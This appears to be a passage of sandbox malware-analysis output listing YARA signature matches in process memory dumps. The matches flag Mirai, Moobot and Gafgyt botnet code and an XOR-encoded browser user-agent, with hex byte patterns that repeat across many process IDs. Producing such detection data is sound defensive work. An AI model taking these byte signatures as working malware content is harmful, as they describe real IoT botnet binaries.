6354.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6354.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6354.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6354.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6354.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6354.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6224.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7240.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7155.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7155.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7155.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7155.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7155.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7155.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7252.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7252.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7252.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7252.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7252.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7252.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7371.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6683.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6683.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6683.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6683.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6683.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6683.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6485.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7030.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7030.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7030.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7030.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7030.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7030.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6252.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6252.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6252.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6252.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6252.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 